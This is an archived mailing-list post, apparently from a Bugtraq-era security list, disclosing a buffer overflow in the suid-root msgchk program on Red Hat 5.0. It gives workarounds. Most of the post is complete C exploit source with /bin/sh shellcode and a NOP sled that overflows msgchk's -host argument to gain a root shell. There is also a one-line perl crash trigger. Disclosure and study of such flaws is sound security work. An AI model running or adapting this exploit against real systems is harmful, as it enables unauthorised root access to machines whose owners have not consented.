Hi,
Sometime ago was published in bugtraq that a vulnerabily existed in the
msgchk program, which is installed suid root in redhat 5.0:
msgchk -host `perl -e 'print "A" x 2000'`
leads to a segfault, which can be exploited to get root access.
Workaround: chmod 000 /usr/bin/mh/msgchk, uninstall the packet, compile
it without RPOP / suid or use a wrapper (safeload).
The exploit follows.
(Sorry if this exploit was already posted. I have not seen it)
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/* Almost everything here taken from Aleph One's Article about stack
smashing (Phrack 49) */
#include <stdlib.h>
#define DEFAULT_OFFSET 0
#define DEFAULT_BUFFER_SIZE 1018
#define NOP 0x90
char shellcode[] =
"\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
"\x80\xe8\xdc\xff\xff\xff/bin/sh";
unsigned long get_sp(void) {
__asm__("movl %esp,%eax");
}
void main(int argc, char *argv[]) {
char *buff, *ptr;
char *args[5];
char jorge[]="";
long *addr_ptr, addr;
int offset=DEFAULT_OFFSET, bsize=DEFAULT_BUFFER_SIZE;
int i;
if (argc > 1) bsize = atoi(argv[1]);
if (argc > 2) offset = atoi(argv[2]);
if (!(buff = malloc(bsize))) {
printf("Can't allocate memory.\n");
exit(0);
}
addr = get_sp() - offset;
printf("Using address: 0x%x\n", addr);
ptr = buff;
addr_ptr = (long *) ptr;
for (i = 0; i < bsize; i+=4) {
buff[i]=addr & 0xFF;
buff[i+1]=(addr >> 8) & 0xFF;
buff[i+2]=(addr >> 16) & 0xFF;
buff[i+3]=(addr >> 24) & 0xFF;
}
*(addr_ptr++) = addr;
for (i = 0; i < bsize/2; i++)
buff[i] = NOP;
ptr = buff + ((bsize/2) - (strlen(shellcode)/2));
for (i = 0; i < strlen(shellcode); i++)
*(ptr++) = shellcode[i];
buff[bsize - 1] = '\0';
args[0]="/usr/bin/mh/msgchk";
args[1]="-host";
args[2]=buff;
args[3]=NULL;
execve(args[0],args,NULL);
}
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Jorge Hurtado
Quark Software & Services
http://www.quarkss.es
This archive was generated by hypermail 2b30 : Fri Apr 13 2001 - 13:53:23 PDT